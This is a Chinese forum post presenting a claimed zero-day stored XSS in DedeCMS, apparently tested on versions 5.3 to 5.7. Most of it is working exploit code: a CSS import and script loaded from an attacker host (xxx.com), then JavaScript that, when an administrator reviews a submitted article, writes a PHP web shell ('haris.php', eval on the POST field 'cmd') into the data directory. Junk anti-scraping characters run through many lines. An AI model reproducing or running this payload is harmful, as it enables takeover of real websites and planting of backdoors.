dedecms xss oday通杀所有版本 可getshell

admin

<DIV id=read_tpc mb10?>漏洞原因：由于编辑器过滤不严，将导致恶意脚本运行。可getshell
# |) |: ]+ R" O  ]# z为什么说它是ODay呢，能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
6 {% P0 B2 y/ q6 r4 k1 E: q目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
下面说说利用方法。
条件有2个：
1.开启注册
  [, m3 `0 N/ p, D9 A& f3 g. r2.开启投稿
注册会员----发表文章
内容填写：
复制代码
8 n0 Z, L8 F+ e* e$ R( @$ h6 c<style>@im\port'\http://xxx.com/xss.css';</style>
新建XSS.Css
" n8 F8 V5 H' F. T  U' |复制代码
& T$ [- t0 m8 E4 }+ T) C$ p.body{
! t) k+ K2 g* [( }! ~. H- Mbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
新建xss.js 内容为
8 w# ?% M2 X* P( N复制代码
, C8 t+ J0 V9 {1 p1 H- n5 d) a1.var request = false;
2 g6 p' P+ N# i+ X6 C/ i2.if(window.XMLHttpRequest) {
: _8 T5 V/ N' Y$ o3.request = new XMLHttpRequest();
4 Y+ |! v- a) Z: t) @4.if(request.overrideMimeType) {
5.request.overrideMimeType('text/xml');
6.}
7.} else if(window.ActiveXObject) {
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
& }% R9 a# r" H4 {$ K: w9.for(var i=0; i<versions.length; i++) {
1 V! f) U3 ]* a0 X* r# x10.try {
11.request = new ActiveXObject(versions);
12.} catch(e) {}
8 s6 Z# B5 C+ J13.}
14.}
15.xmlhttp=request;
16.function getFolder( url ){
/ ~6 Y9 F2 h- A  Z5 q17. obj = url.split('/')
6 s% t: g0 u  w/ i: e18. return obj[obj.length-2]
( `  _$ `$ k. Z  t; c2 b9 k- H. ]19.}
20.oUrl = top.location.href;
& {9 W% U& |5 F. ^21.u = getFolder(oUrl);
6 g& U; R) P" H% T0 W/ O1 w# U( r/ l22.add_admin();
23.function add_admin(){
% d2 x' o. |7 e( _) [24.var url= "/"+u+"/sys_sql_query.php";
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
% O2 G8 A8 J# a9 }26.xmlhttp.open("POST", url, true);
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
. S6 ^0 c7 l. o28.xmlhttp.setRequestHeader("Content-length", params.length);
7 a( G: ^* G1 W% T% L- h29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
( j6 V) a1 J! F+ L7 \$ j! Y, F30.xmlhttp.send(params);
5 x/ o+ I1 e1 l8 t4 H31.}
7 V0 l' U& A. S) I# I8 x. \当管理员审核这篇文章的时候，将自动在data目录生成一句话haris.php。密码cmd